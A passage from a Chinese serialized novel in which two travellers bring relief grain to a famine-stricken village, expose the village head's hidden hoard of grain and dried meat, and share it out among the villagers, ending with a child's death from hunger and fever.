《老李沟的故事》 第79章 “房子塌了” 杜老汉顿了一下继续说道:“这粮食从上面一层层地往下拨,等到了咱们这个小村子的时候,就仅仅剩下可怜巴巴的一袋粮食啦!没办法,只能按照人头平均分下去,结果每家每户也就只分到了那么一小碗而已。而且他们还口口声声地说,这就是整整一个月的口粮啊!有些穷苦人家实在熬不下去了,被逼无奈之下只好卖儿卖女,只为换一口活命的吃食呐!任谁看都觉得那粮食里面有蹊跷啊,我们这些普通老百姓,谁敢说个不字啊!” 文孝听后,气得猛地一拍自己的大腿,大声说道:“那你们这个村子如今到底是谁在主事啊?难道那些粮食有可能都被藏在了他那里不成?杜大叔,等明天雨一停下来,您就赶紧去告知村里的其他人,就说我这辆车上拉来的这些粮食,可以拿出来分给大家伙儿!” 杜老汉满脸狐疑地说道:“那不能吧?虽说这杜家坡一直都是村长主事,但村长家也不过就是和咱们差不多呀!”他一边说着,一边摸了摸下巴上稀疏的胡须,若有所思地摇了摇头。 就在这时,只见杜秋丽缓缓地从屋子里面走了出来,她满脸狐疑地问道:“你们刚才所说的话都是真的吗?真的要给大家分粮食?” 站在一旁的云亭连忙点了点头,应声道:“他说的千真万确,这些粮食本来就是专门运过来救济大家的!” 听到这话,杜秋丽顿时激动不已,她一个箭步冲上前去,“噗通”一声跪倒在地,眼含热泪说道:“我代表咱们全村的男女老少,感谢二位恩人的救命之恩呐!” 文孝见状,赶忙伸手将杜秋丽扶了起来,并一脸认真地说道:“妹子,以后可千万别再称呼我们为恩人啦,我名叫文孝,而这位是我的好兄弟云亭,往后直接喊我们的名字就行了!” 杜秋丽的脸颊微微泛起一丝红晕,有些羞涩地点头说道:“多谢文孝大哥,也谢谢云亭大哥!” 夜幕降临之后,他们三人只是简简单单地吃了一顿晚饭。然而,外面的雨却丝毫没有要停歇下来的迹象,依旧淅淅沥沥地下着。无奈之下,文孝和云亭只好在屋子里找了个角落,铺上一些干草,简单地打了个地铺。两人并排躺在一起,眼睛直勾勾地盯着上方那正在不断漏雨的屋顶,发起呆来。 过了一会儿,云亭率先打破了沉默,轻声开口道:“我说,你觉得咱家那边此刻会不会也在下这么大的雨呢?” 文孝皱着眉头说道:“不能吧,这里离咱家那么老远呢!真不知道家里现在他们情况如何了。”说完便一脸担忧地望向远方。 一旁的云亭拍了拍他的肩膀安慰道:“哎呀,你就放宽心啦,家里肯定一切都好着呢!瞧你那魂不守舍的样子,不就是想老婆了嘛,还拐弯抹角不好意思说出口。” 文孝听后脸一红,连忙反驳道:“谁说的!哼,照你这么说,难道你就不想吗?小心我回去跟秀兰打小报告......” 云亭赶紧摆手求饶道:“好好好,算我怕了你行了吧!”就在两人说话间,天空中突然传来一阵沉闷的雷声,紧接着便是“轰隆”一声巨响,仿佛有什么庞然大物轰然倒下一般。 云亭被吓了一跳,忙问道:“这是什么东西倒了呀?”话音未落,只见文孝像只敏捷的豹子一样噌地一下子站了起来,目光迅速朝着声音传来的方向望去。刹那间,他脸色大变,惊呼道:“不好,是杜老汉家西边的房子塌了!”来不及多做思考,文孝一个箭步便朝着那堆废墟飞奔而去。 仅仅过了片刻时间,文孝便从倒塌的房屋废墟之中艰难地钻了出来。而此刻,他怀中紧紧抱着一个衣着单薄的女子——正是杜老汉的女儿杜秋丽。只见杜秋丽额头上鲜血直流,原本乌黑亮丽的秀发此刻也已湿漉漉地贴在脸上和身上,整个人看上去无比狼狈。 就在这个当口儿,杜老汉一路小跑着起来了。他一眼瞧见躺在地上的女儿时,他的心瞬间被揪紧了,仿佛有一只无形的手正紧紧攥住他的心脏一般,令他呼吸都变得急促起来。 只见杜老汉满脸焦急之色,声音因恐慌而颤抖着,高声呼喊着:“秋丽啊,我的闺女哟!你怎么样啊?!要是你有个三长两短,叫爹如何是好哇?”那悲切的呼喊声令人闻之心酸。 一旁的文孝见状,赶忙将一条毯子轻轻地覆盖在杜秋丽的身上,希望能给她带来些许温暖和安慰。 杜秋丽那原本清澈明亮的眼眸此刻显得有些迷茫和惊恐,嘴唇微微颤动着说道:“爹,咱家的房子塌啦!我没事!”话音未落,泪水便像决堤的洪水一般奔涌而出,顺着她苍白的脸颊滑落下来。 杜老汉心疼不已,连忙安抚道:“孩子别怕,只要人没事儿就行。今晚你先到爹那张床上睡去吧。” 然而,杜秋丽却用力地摇着头,带着哭腔回答说:“爹,我害怕,我不敢一个人睡。” 杜老汉皱起眉头,一脸无奈地继续劝说道:“闺女呀,你总不能就这样坐在这儿一整晚吧?你看看,人家这两位可是咱的救命恩人呐,你这般模样,岂不是妨碍他们休息了嘛!” 听到这话,杜秋丽犹豫了片刻,终于像是下定了决心似的,小声说道:“那好吧……那我还是坐到里边儿去好了。”说着,她缓慢起身,走向了父亲的房间。 走进房间后,心里莫名地涌起一股恐惧,以至于坐在床边时,身体都微微颤抖起来。尽管困意如潮水般袭来,但内心的胆怯让她始终没敢闭上眼睛安心入睡。就这样硬挺着,与困倦做着激烈的斗争,时间一分一秒过去,终于,她实在撑不下去,慢慢地合上双眼,进入了梦乡。 第二天清晨,天空格外晴朗,万里无云,阳光透过窗户洒在了房间里。昨晚,杜老汉和云亭等人一同睡在地面上铺着的草席上。随着第一缕温暖的阳光缓缓升起,它透过门口照射进来,轻轻地抚摸着杜老汉的脸庞。 杜老汉悠悠转醒,睁开眼睛看到如此明媚的天气,不禁感慨道:“哎呀,这天总算是放晴啦!” 一旁的云亭听到声音也坐了起来,他伸了个懒腰,然后充满干劲儿地对杜老汉说道:“杜大叔,您就放宽心吧!今天我们兄弟俩肯定会帮您把这房子给彻底修好的!” 杜老汉听了这话,脸上露出感激的笑容,连连点头应道:“那可真是太好了,太谢谢你们啦!” 说干就干,云亭和文孝二人迅速起身,开始了一整天忙碌的工作。他们登上房顶,仔细检查每一处漏雨的地方,并精心修补着昨晚因暴雨而坍塌的部分。两人默契配合,挥汗如雨,从日出一直忙活到日落西山。 经过一整天的辛勤努力,总算大功告成。云亭看着修好的屋顶,满意地点了点头,然后转头对文孝说:“兄弟,今天咱们可算把这活儿干完啦!不过,我觉得明天还得再帮杜大叔把这外墙加固一下,这样就算以后再遇到大雨,也不用提心吊胆啦!” 文孝笑着拍了拍云亭的肩膀,表示赞同。夕阳西下,两人站在院子里,望着被修复好的房屋,心中满是欣慰。 杜老汉赶忙摆了摆手说道:“不用了,这样就已经很好了!”他那饱经风霜的脸上露出一丝满足的笑容,但眼神深处却隐藏着深深的忧虑。 就在这时,外面忽然传来一阵撕心裂肺的哭声,声音凄惨而悲凉,瞬间吸引了屋内所有人的注意力。众人纷纷好奇地向外张望,只见隔壁的杜老三家门前围满了人,嘈杂的议论声此起彼伏。 经过一番打听,原来是杜老三家的小儿子不幸夭折了。关于这个可怜孩子的死因,人们众说纷纭。有的人说是因为长期饥饿导致身体虚弱,最终被活活饿死;也有的人说是染上恶疾,无药医治才病故的。 云亭和文孝听到消息后,急忙赶过去查看情况。当他们看到地上躺着的那个孩童时,心中不由得一紧。那孩子骨瘦如柴,干巴巴的身躯仿佛只剩下了一层皮包裹着骨头,让人看了心疼不已。再环顾四周,整个村庄的景象更是令人触目惊心。地势较低的房屋内都已经积水,而地势稍高一些的房子虽然状况稍微好点,但也只能算是勉强能够居住而已。 目睹这一切惨状之后,文孝再也无法忍受下去,他站出来大声对村民们喊道:“大家听我说,等一下你们每家都可以在我这里领取一袋粮食回去应急,千万不要再让孩子们挨饿受苦了!” 人群中顿时响起一片骚动之声,有人难以置信地问道:“你们说的可是真的?我们可拿不出多少钱来买这些粮食啊!” 还有一个面容憔悴的妇人哭着说道:“我之前已经卖掉了两个孩子,如今家里就剩下这最后一个了,如果不是走投无路,谁愿意把亲生骨肉拿去换口饭吃啊!而且我实在是没钱了,也没有孩子能再卖给你们了呀!”她一边说着,一边紧紧抱住怀中瑟瑟发抖的幼子,生怕会失去这最后的希望。 杜老汉站在人群中间,神色激动地挥舞着双手大声喊道:“大伙都听我说一句呀!这俩孩子可是大好人呐!他们根本就没想要过你们谁家的娃子,不仅如此呢,人家还不辞辛劳地帮我把那破破烂烂的房子给修整得好好的嘞!你们就算不相信他俩,难道连我这个老头子说的话也不信啦?” 就在这时,只见一个浑身脏兮兮、头发蓬乱如草窝一般的女人,怀里紧紧搂着一个面色苍白如纸、看上去极为虚弱的孩子,跌跌撞撞地朝着这边走了过来。走到近前时,她突然双腿一软,扑通一声便直直地跪伏在了地上,泪水像决堤的洪水般从眼眶里汹涌而出,嘴里哽咽着说道:“求求您了,好心人,如果您真的还有多余的粮食能够施舍给我们一些,那就太好啦!我家柱子他已经好多天没有吃过一顿饱饭了,再这样下去,恐怕真的撑不了多久了哇......呜呜呜......” 云亭和文孝见状,赶忙快步上前将跪地的女子搀扶起来。云亭一脸焦急地看着杜老汉,有些手足无措地说道:“杜大叔,您看这......咱们可得赶紧想想办法帮帮她们才行呐!”一旁的文孝也是连连点头附和道。 杜老汉连忙冲着那个女人招了招手,急切地喊道:“哎呀,原来是芸香啊!快快快,别在这儿跪着了,赶紧带着孩子先跟我回家里去喝口热乎的粥垫垫肚子再说!秋丽啊,快点儿过来搭把手帮忙照应一下!” 话音刚落,没过一会儿的工夫,就见秋丽急腾腾地从屋里跑了出来,连忙把芸香扶起来扶进了自己家桌前坐下,又去里面稳稳当当地端着两碗热气腾腾的清粥出来,她小心翼翼地将其中一碗递给了芸香,并轻声细语地叮嘱道:“芸香嫂子,您慢点儿吃哈,这粥刚刚出锅没多久,还滚烫得很呢!千万别着急,小心别烫着嘴咯!” 只见芸香满脸感激地连连点头致谢后,小心翼翼地拿起勺子,轻轻地吹气,将热气吹散之后,再慢慢地将勺子凑近孩子的嘴边,柔声说道:“柱子乖,快张开嘴巴吃一点东西吧,你一定要好好的呀,可千万不能丢下娘不管啊,娘这世上可就只剩下你这么一个亲人啦!” 就这样,芸香一勺接一勺地耐心喂着孩子,好不容易才喂进去了几口粥。然而就在这时,原本安静进食的孩子却突然剧烈地咳嗽起来,秋丽见状赶忙伸手过去一摸孩子的额头,惊呼道:“芸香嫂子,柱子这是在发高烧呢!” 芸香闻言沉重地点了点头,眼眶泛红地说道:“是啊,柱子他本来身体就不太好,一直有点发烧。可是家里已经没有一粒粮食了,这小身板怎么可能扛得住啊?”话刚说完,她自己也忍不住咳嗽了几声。 秋丽连忙关切地问道:“那你自己的身体怎么样?柱子看过大夫了吗?” 芸香无奈地叹了口气:“我倒没什么大碍,只是苦了柱子这孩子。这接连不断地下雨,大夫家里存的那些药材都被雨水给浸泡坏了。虽说大夫好心送了些药给我们,但他也明明白白地跟我说了,这些被水泡过的药材,药效恐怕大打折扣,不一定能起到作用啊!” 听到这里,秋丽稍稍思考了一下,然后转身对芸香说:“你先别急,在这里等我一会儿!”说着便匆匆跑开了。没过多久,秋丽气喘吁吁地回来了,手里拿着一篓新鲜的草药,急切地说道:“我之前有上山去挖过一些草药,本想着拿去集市上卖点钱贴补家用的,也不知道这里面有没有能够治柱子病的!” 芸香满脸泪痕地说道:“谢谢秋丽妹子了!若不是你雪中送炭,真不知道我们母子该怎么办呢!”她一边说着,一边用手轻轻擦拭着眼角的泪水。 过了好一会儿,芸香怀中原本虚弱无力的孩子仿佛突然间注入了一股活力,他眨巴着那双明亮的大眼睛,奶声奶气地对芸香说:“娘,我好饿呀,我想要喝粥,还要吃甜甜的红薯,更想吃好多好多好吃的东西!” 听到孩子这么说,芸香心疼不已,赶忙把孩子紧紧地搂在怀里,轻声安慰道:“有的有的,柱子,这里还有粥,你快赶紧喝!” 这时,善良的秋丽又从厨房里端出了两碗热气腾腾的粥,小心翼翼地放在桌上,微笑着对他们说:“粥还多着呢!你们别着急,慢慢吃,千万别呛着了!” 柱子懂事地端起其中一碗粥,稳稳当当地递到母亲面前,关切地说:“娘,您都已经整整两天没有吃东西了,我们一起吃吧!” 看着乖巧孝顺的儿子,芸香感动得热泪盈眶,她接过碗,哽咽着回答道:“好……好孩子,那咱们就一起吃!” 柱子狼吞虎咽地一口气喝下了两大碗粥,拍了拍圆滚滚的肚子,然后对芸香说:“娘,我吃饱啦!可是我好想舒舒服服地睡一觉!” 芸香轻柔地将柱子揽入怀中,轻声说道:“好孩子,乖乖睡吧,娘就在这儿抱着你呢。”她轻轻地拍打着柱子的后背,仿佛那是世界上最珍贵的宝贝。 与此同时,云亭和文孝正忙着给村里的每一户人家送去一袋粮食。村民们看到这份意外之喜,纷纷激动得跪地磕头道谢,感激之情溢于言表。但唯独村长家的反应有些异样,从表面上看,村长一家似乎也同其他村民一样面露喜色,但仔细观察便能察觉到其中的不同。他们虽未像旁人那样激动万分地连连道谢,可那眼中的意外之色却难以掩饰。 更令人感到奇怪的是,当云亭和文孝走进村长家中时,分明嗅到了一股若有若无的淡淡肉香味。然而,摆在桌上的食物却只有那些干巴巴、毫无油水的咸菜,这一强烈的反差让人不禁心生疑惑。 云亭和文孝怎么都觉得,这位村长好像有问题!云亭和文孝互相对视一眼后,便将他们对于杜家坡村长家的一些疑虑和看法一五一十地讲给了杜老汉听。杜老汉听完之后,脸上露出了难以置信的神情,皱起眉头说道:“会不会是搞错啦?依我看啊,咱们村的村长可不是这样的人哟!就在昨天,村长还特意从自家拿出了不少咸菜分给大家伙儿呢!” 听到这话,云亭和文孝不禁面面相觑,满脸都是狐疑之色。云亭率先开口问道:“分咸菜?这可真是稀罕事儿啊!以前咋不见他有这般举动,如今却突然想起来要分了?” 一旁的文孝也附和道:“是啊,这里头该不会有啥名堂吧?” 杜老汉摆了摆手,解释道:“村长说了,那些咸菜原本是埋在地窖里头的。前阵子下大雨,地窖进水被泡着了,当时他还以为这些咸菜都坏掉不能吃了呢。结果昨儿个偶然间发现它们居然没有变质,所以就赶忙拿出来分给大伙尝尝鲜。” 这时,一直沉默不语的云亭忽然若有所思地看向文孝,压低声音说道:“你说会不会是那装咸菜的罐子有什么问题?也许村长是想用它来装其他什么重要的东西……” 杜老汉慢悠悠地说道:“嘿哟,你们不知道啊,昨天那村长还跑来找我借了一个大罐子嘞!说是他家房子漏水得厉害,想用那个大罐子接水应应急,等过些日子再还给我哩。” 文孝听后皱起眉头,有些诧异道:“啥?他家房子也漏水呀?不应该啊,看起来挺好的啊!?” 一旁的云亭也附和着点头,表示同感。他和文孝两人对视一眼,心里都隐隐觉得这事有点不太对劲,但具体哪儿不对劲儿却又一时半会儿说不上来。 就在这时,他们不经意间瞥见外面村长家的屋顶正升腾起缕缕烟雾,仿佛还有阵阵香气飘散过来。 云亭的眼睛一下子亮了起来,像是突然想到了什么似的,兴奋地拉住杜老汉的胳膊喊道:“走,咱们去村长家看看!” 杜老汉被他俩这突如其来的举动弄得一脸茫然,不解地问道:“这是咋回事儿嘛?干啥这么急急忙忙的?” 云亭则笑嘻嘻地回答道:“嘿嘿,杜大叔,我们刚才好像闻到一股肉香味儿从村长家飘出来啦!说不定他家正在做什么好吃的呢!” 杜老汉闻言不禁笑出声来,轻轻拍了下文亭的脑袋瓜,打趣道:“你这小子,净会瞎扯!我看呐,八成是你自己嘴馋了吧,哈哈!”说着话,三人便一同朝着村长家快步走去。 第80章 隐藏的粮食 三人越靠近村长的家,那股若有若无、似隐似现的淡淡肉香味愈发清晰可闻起来。文孝几人的心中不禁涌起一丝好奇与疑惑。 他们轻轻推开那扇略显陈旧的木门,门轴发出一阵轻微的嘎吱声。屋内的场景让所有人都吃了一惊——村长一家人仿佛被施了定身咒一般,几乎愣在了原地! 转瞬间,村长脸上的惊愕之色消失得无影无踪,取而代之的是一抹热情洋溢的笑容。他笑盈盈地快步走上前来,一把拉住杜老汉的手说道:“哎呀,老哥您怎么这个时候过来啦,快快里面坐,里面坐!”一边说着,一边还用夸张的手势指挥着自己的媳妇:“快去倒杯热茶来,要热乎的!” 站在一旁的云亭和文孝将这一切尽收眼底,他们敏锐地捕捉到了村长眼神中的细微变化。尽管村长表面上看起来热情好客,但他的眼神却似乎在向家人传递着某种不为人知的暗示。这种微妙的神情交流并没有逃过两人的眼睛,他们心领神会地对视一眼,暗自思忖着其中可能隐藏的玄机。 杜村长满脸堆笑地看着杜老汉,亲切地问道:“老哥啊,您这么晚过来,想必是有啥重要的事儿吧?” 杜老汉有些尴尬地挠了挠头,干笑两声后说道:“呵呵呵,这俩孩子啊,非说闻到……” “听闻你们家房子好像也漏水了,这不就一块儿过来瞧瞧,看能不能帮上点忙,把这漏雨的地方给修修好!”然而,他的话才刚刚说到一半,就被云亭给打断了。 杜老汉虽然有些疑惑,但还是:“对对,这两个小伙子好哇,让他们帮忙修修也是可以的!” 杜村长一脸惊讶地说道:“这……这点儿微不足道的小事,哪敢麻烦二位啊!您二位为咱们村子做了这么多好事,我们心里都记着呢,可实在不知道该怎么回报这份恩情呐!” 文孝连忙摆了摆手,笑着回答道:“杜村长,您这话可就见外啦!谈什么报答不报答的呀,再说了,能帮到乡亲们,我们也高兴。不过话说回来,嘿嘿,要是您能让我尝一尝您这锅里煮的美味,那就算是对我的最大奖赏啦!”话音未落,只见文孝动作迅速如闪电一般,一个箭步冲上前去,猛地掀开了锅盖。 村长想要伸手阻拦,但已经来不及了。刹那间,众人的目光都被吸引到了那口大锅中。只见锅内热气腾腾,香气扑鼻,令人垂涎欲滴。除了香喷喷的炖肉之外,竟然还围着一圈雪白雪白、胖乎乎的大馒头,宛如一朵朵盛开的莲花般诱人。 文孝忍不住赞叹起来:“哇,还是村长家的日子过得滋润啊!瞧瞧这白面馒头,又大又白,看着就让人眼馋。再加上这一锅香喷喷的炖肉,啧啧啧,简直就是人间美味啊!别人家恐怕只有逢年过节的时候才能尝到点儿荤腥呢!” 杜老汉原本平静的面容瞬间被意外所占据,他眉头微皱,急匆匆地向前迈了几步,定睛一看,心中顿时明了眼前的状况。只见他脸色一变,毫不犹豫地一甩手臂,转身便要朝外走去。 就在这时,眼疾手快的杜村长迅速伸手一把拉住了杜老汉的衣袖,急切地说道:“老哥呀,你千万别误会哟!这锅里煮着的肉,也不知是谁家的鸡淹死了,我寻思着怪可惜的,就把它捞上来剁碎了炖成一锅肉汤啦!” 站在一旁的云亭听闻此言,却并未轻易相信,他目光犀利地盯着杜村长,冷冷地质问道:“就算这肉如你所说,但那白面馒头又作何解释呢?如今家家户户都缺粮少食,甚至已经有别家的孩子活活饿死了。而你这里居然还有如此丰盛的食物,单靠这些,都足以救活咱们村里好几个孩子了吧!” 杜村长的额头上开始冒出细密的汗珠,他一边抬手擦去汗水,一边赶忙辩解道:“哎呀,各位可真是冤枉我了!这一切还不都是多亏了你们之前送来的那些粮食嘛,如果没有你们的慷慨相助,我哪里能有这样的口福啊!” 然而,文孝显然对这个解释并不买账,他上前一步,指着桌上的白面馒头,毫不客气地反驳道:“你怕是自己弄错了吧!我们送过来的粮食可没有这么好,我们送的明明是普通的稻米,哪来像你现在吃的这种精细白面啊?这两者根本就不是同一种东西!” 杜村长满脸愧疚地将白馒头拿出来一个接一个地使劲往杜老汉、以及云亭文孝两人的手里边塞,嘴里还不停地念叨着:“哎呀,都是我的错呀!你们别光站着,赶紧坐下一块儿吃!我这儿呢,也就只有这点儿吃的东西啦,可绝对不是故意要瞒着大家伙儿的意思啊!” 就在这时,只见村里的村民们竟然像事先约好似的,一个接着一个地走进了村长的院子里。原来呀,是秋丽跟在后面来到了村长家,当她走到门口瞧见里面的那一幕场景之后,便急匆匆地跑去挨家挨户通知了全村的人。这不,眨眼间的功夫,整个村子的男女老少全都聚集在了村长家的院子里。其中有几个调皮的小孩儿一见到那白乎乎的馒头,立马伸手抓起来就大口大口地狼吞虎咽起来。 杜村长冷不丁看见一下子涌进来这么多的人,顿时惊得目瞪口呆,整个人都傻眼了。过了好一会儿,他才回过神来,脸上露出一丝尴尬的笑容,结结巴巴地说道:“大……大家怎么都来啦?我今天运气好,捡到了一只肥美的野鸡,这不,刚刚炖熟了,来来来,大伙都一起过来尝尝鲜吧!” 话音未落,只听得一阵嘈杂声响起,众人如同潮水一般呼啦一下全冲进屋子里去争抢食物了,一个个生怕动作慢了会没得吃似的。 就在此时,人群之中走出一名中年妇女,只见她满脸悲戚之色,眼眶微红地说道:“村长啊,您好歹也是咱们村的一村之长啊!您看看,您家里明明有粮食,为啥就是不肯接济一下我们这些穷苦人家呢?您知道吗?因为缺粮,我们家唯一的儿子都已经饿死了呀......”说到最后,那名妇女已是泣不成声。 随着这名妇女话音落下,周围的人们纷纷开始起哄附和起来。面对众人的指责与质问,杜村长一脸无奈地辩解道:“各位乡亲们呐,我也很想帮大家,但我家里确实就只剩下这么点儿粮食了啊!要是全拿出来分给大家,那我们一家老小也得跟着挨饿啊!” 然而,站在一旁一直沉默不语的云亭此刻却开口说道:“既然杜村长口口声声说家里只有这点粮食了,那不妨就让我们进去瞧一瞧吧。倘若果真如您所言,家中并无多余粮食,那我们二话不说,立马转身离开便是。” 听到云亭这番话,村长的媳妇顿时急眼了,只见她迅速抄起一把锄头,气势汹汹地挡在了自家门口,并大声叫嚷道:“哼!就算我家还有些粮食那又怎样?那可是属于我们自个儿的东西,又不是你们的!你们这样强行闯入我家,简直跟土匪强盗没啥两样!” 可人群中有几名年轻小伙子哪管得了这么多,他们二话不说,径直走上前去,一人抓住村长媳妇的一只胳膊,用力将其拽到了旁边。随后,一行人便鱼贯而入,进入了村长的屋子。然而,当他们一眼望去,却惊讶地发现屋内除了一堆堆足有两米多高的稻草之外,根本就看不到有粮食的影子。 云亭好奇地问道:“实在想不通村长家里怎么会有如此之多的稻草呢?这些稻草究竟是作何用途呀?” 只见杜村长额头上冒着细细的汗珠,神色略显慌张地回答道:“这稻草嘛,自然是拿来当作柴火使用啦!诸位乡亲,家里除了这些稻草之外,确实再无其他了。” 文孝听闻此言,不禁感到有些诧异,他笑着调侃道:“哎呀,杜村长您可真是与众不同啊!居然将稻草视若珍宝般放置在家中,别人家可都是随意地堆砌在屋外的啊。” 听到这话,杜村长的脸色瞬间变得涨红,他结结巴巴地解释道:“那个……那个我只是暂时还没腾出时间将它们丢弃到外面去罢了!” 然而,文孝似乎并不打算就此罢休,他大手一挥,高声喊道:“来来来,大家伙儿都过来帮个忙,一起把村长家的稻草给搬到外边去吧!” 话音未落,杜村长便急忙伸手阻拦,口中连连说道:“不必不必,千万不要劳烦大伙动手帮忙!我这些稻草其实还大有用处呢,对对对,非常有用!等冬天来临的时候,我还要拿它们来铺床铺呢!” 云亭笑着说道:“是啊,这长夜漫漫,如果没有个舒适的地方睡觉可真是难熬啊!所以,不如您先借给我一点稻草,这样就算是睡在地上,也能稍微舒服那么一点儿!”话音未落,他伸出手,朝着那一堆稻草伸了过去,似乎想要动手扯一些下来。 就在这时,眼疾手快的村长连忙跨步上前,一把拦住了云亭的动作,赶忙说道:“哎呀,如果你真的需要这些稻草,我等会儿亲自给你送点儿过去便是了,哪还用得着你们亲自动手呢?”村长一脸诚恳,生怕云亭会不小心弄乱了这些稻草。 然而,正当他们僵持不下的时候,一个身材魁梧的村民突然从人群中走了出来。只见他大手一挥,豪爽地喊道:“村长,您就是太磨蹭啦!不就是一把稻草的事情嘛,能算得了什么大事儿呢!这点小事儿交给我来办就行啦!”说完,他不由分说地大步走向那堆稻草,伸手用力一扯。 谁曾想到,随着这个村民的这一扯,竟然牵出了一连串意想不到的情况。原来,在那看似普通的稻草后面,居然隐藏着一番别样的景象——靠着墙摆放着整整一排大缸,而在这些大缸上方,则整齐地堆叠着一个个鼓鼓囊囊的麻袋。仅仅只是一眼望去,便能猜到那些麻袋里面装的多半都是粮食! 村长原本还想掩盖真相,但此时已经被众人发现,他脸上闪过一丝慌乱,随即眼珠子一转,立刻改口说道:“这个......这个嘛,其实这都是上面刚刚拨下来的救济粮,这不,我还没来得及通知各位呢!” 站在一旁的文孝听后,挑了挑眉,疑惑地问道:“哦?原来有救济粮啊?那之前怎么一点消息都没有听到过呢?” 杜村长连忙陪笑道:“哎呀,这不是刚到嘛,我正准备跟大伙说这事呢!既然现在大家都知道了,那就正好趁着人都在这儿,咱们等会儿就把它给分一分吧!” 就在这时,人群中突然传来一声惊叹:“你们快来看,这缸里还藏着肉干呢!” 众人纷纷围拢过去:“没有啊,这不是草灰吗?” 紧接着又有人喊道:“大家再看看,表面上看着好像只是些稻草灰,但是只要往里面摸一摸,拿出来的可全是肉干啊!” 一时间,现场议论声四起。而一直沉默不语的杜老汉终于忍不住了,他满脸怒容地质问村长:“你啊,怎么能做出这种让人寒心的事情来呢!身为一村之长,本应为村民谋福祉,可你却私自藏匿救济粮,实在是太不应该了!哎......你这样真的太不配做这个村长了!”说完,杜老汉气愤不已地转身离去,头也不回地朝自己家走去。 村里的其他人此时齐心协力地搬动着那几个大缸以及堆积如山的粮食。村长面色惨白如纸,他心里清楚,东窗事发后自己已经无路可逃,只能呆呆地站立在角落里,身体瑟瑟发抖,连一步也不敢挪动。 而村长的媳妇和儿子则死死地拽住大缸不肯松手,嘴里还不停地叫嚷着这是自家的肉,绝不能让人抢走。然而,他们的反抗并没有起到任何作用,其中几名愤怒的村民飞起一脚,狠狠地踹在了村长妻儿身上,只听得两声惨叫,两人当即倒地。随着这一踹,几人立马把东西搬了出去。 转眼间,所有的东西都已被搬出了院子,只剩下最后一包粮食孤零零地躺在地上。这时,一个身强力壮的村民快步上前,准备将其搬走。就在他伸手的一刹那,一直冷眼旁观的云亭突然出声制止道:“罢了,还是留下这一包给他们吃吧!” 听到这话,那名村民先是一愣,但随即松开了手,愤愤不平地说道:“像这种贪婪无耻之人,就应该让他们全家好好品尝一下被活活饿死的滋味!”说完,他狠狠地朝地上啐了一口唾沫。 院子中央,文孝正仔细地清点着刚刚从村长家里搬出来的粮食。经过一番统计,他惊喜地发现竟然有整整十缸肉干,还有数量惊人的四十多袋粮食,这些粮食足够整个村子的人吃上足足几个月!要知道,整个杜家坡拢共也不过才十几二十户人家而已。 于是,文孝与在场的众人商议起来,最终决定按照每户两袋粮食、半缸肉干的标准进行分配。 这个方案一经提出,立刻得到了所有人的拥护,大家脸上都洋溢着喜悦的笑容,纷纷兴高采烈地带着属于自己的那份粮食和肉干回家去了。 最后发现竟然还剩下了整整三缸肉干以及十袋沉甸甸的粮食。此时,云亭一脸严肃地说道:“我们只会带走原本就属于杜大叔和芸香嫂子的那一份,至于其他的东西嘛,仍然归您所有,所以您也就不必再像之前那样费尽心思的藏着啦!” 听到这话,杜村长仿佛心头一块巨石终于落地般长舒了一口气,但脸上却满是愧疚之色,他喃喃自语道:“唉……自从我下定决心要独自把这些救济粮偷偷藏起来的那一天开始,我就再也没能够踏踏实实地睡过哪怕一个安稳觉啊!我深知自己犯下的过错实在是太多太多了,如今你们不仅没有对我赶尽杀绝,甚至还给我留下了这么多食物,这让我感到无地自容,觉得自己愧对那些信任我的乡亲们呐!尤其是想到因为我的自私行为导致好几条鲜活的生命就此消逝,更有不少家庭被迫走上卖儿鬻女这条悲惨道路的时候,我真恨不得找个地缝钻进去,哪里还有脸面去面对村里的父老乡亲们呐!” 一旁的文孝见状,不禁冷哼一声,语气中充满责备之意地回应道:“哼!正所谓‘早知如此,何必当初’呢?倘若您一开始就能大公无私地将这批救济粮公平合理地分配给每一位急需帮助的村民们,那么或许现在很多孩子都依然活得好好的,还有的家庭压根儿就无需通过卖掉亲生骨肉来换取一线生机!而您所造下的罪孽简直就是罄竹难书啊,难道您每天夜里躺在床上时,心里就真的能够毫无负担、安然入睡吗?” 杜村长蜷缩着身子,静静地坐在角落里,那张布满皱纹的脸上流露出深深的懊悔之色。他低垂着头,目光落在地面上,仿佛在沉思着自己所犯下的错误。 就在这时,村长媳妇儿怒气冲冲地走了过来,指着云亭的方向,大声嚷嚷道:“都怪你们这两个不知好歹的外地人!谁稀罕你们的好心啊!看看现在,咱们家里的粮食和肉干全都被分出去了!那我们以后还能吃什么呀?难道要喝西北风去吗?” 杜村长一听这话,脸色瞬间变得阴沉起来,他连忙站起身来,伸出手制止住妻子继续说下去。“行了!别在这里胡言乱语!”他压低声音说道,同时紧张地环顾四周,生怕他们的争吵引起其他人的注意。 云亭和文孝不予理会,带走了一缸肉干,和属于杜老汉和芸香的四袋粮食! 见云亭和文孝慢慢走远,杜村长深呼一口气,尽量让自己的语气缓和一些,安慰起妻子来:“粮食和肉干,那不还是给咱家留得有嘛!又不是所有的东西都被别人拿走了,还不快把院里的东西搬进来!”他心里其实也有些没底…… 然而,命运似乎总是喜欢捉弄人,对芸香展现出它无比冷酷和无情的一面。就在芸香再一次轻轻地拍着柱子的时候,一股不祥的预感涌上心头。她小心翼翼地将耳朵贴近柱子的胸口,想要听到那熟悉而微弱的心跳声,但回应她的却是一片死寂。 这一刻,时间仿佛凝固了一般,整个世界都变得安静得可怕。芸香瞪大了眼睛,难以置信眼前所发生的一切。她呆呆地望着柱子那紧闭双眼、毫无生气的面容,心中的悲痛如同潮水般汹涌而来。 她的双手依然保持着哄孩子入睡时的温柔姿势,机械性地轻轻拍打着柱子瘦小的身躯,嘴里还念念有词:“不会的,我的孩子只是太累了,睡过去了而已。他一定会很快睁开眼睛,冲着我甜甜地笑起来......”可是,无论她怎样自我安慰,事实都摆在眼前——柱子永远地离开了这个世界。 泪水再也不受控制,像决堤的洪水一样疯狂地从芸香的眼眶中奔涌而出。那些晶莹剔透的泪珠一滴接着一滴地滑落,打湿了柱子身上那件破旧但整洁的衣裳。 与此同时,云亭和文孝也带着东西赶回了杜老汉家中。当他们踏进房门,看到眼前这令人心碎的场景时,脚步顿时僵在了原地。只见芸香紧紧地搂着柱子,满脸泪痕,身体微微颤抖着,口中不断呢喃着对儿子的思念与不舍。 在场的每一个人都被这悲伤的气氛所感染,心情沉重到了极点。尤其是看到柱子那张稚嫩的小脸,与传业年龄相仿的模样,更是让人忍不住心生怜悯和同情。 第81章 “还有个弟弟” 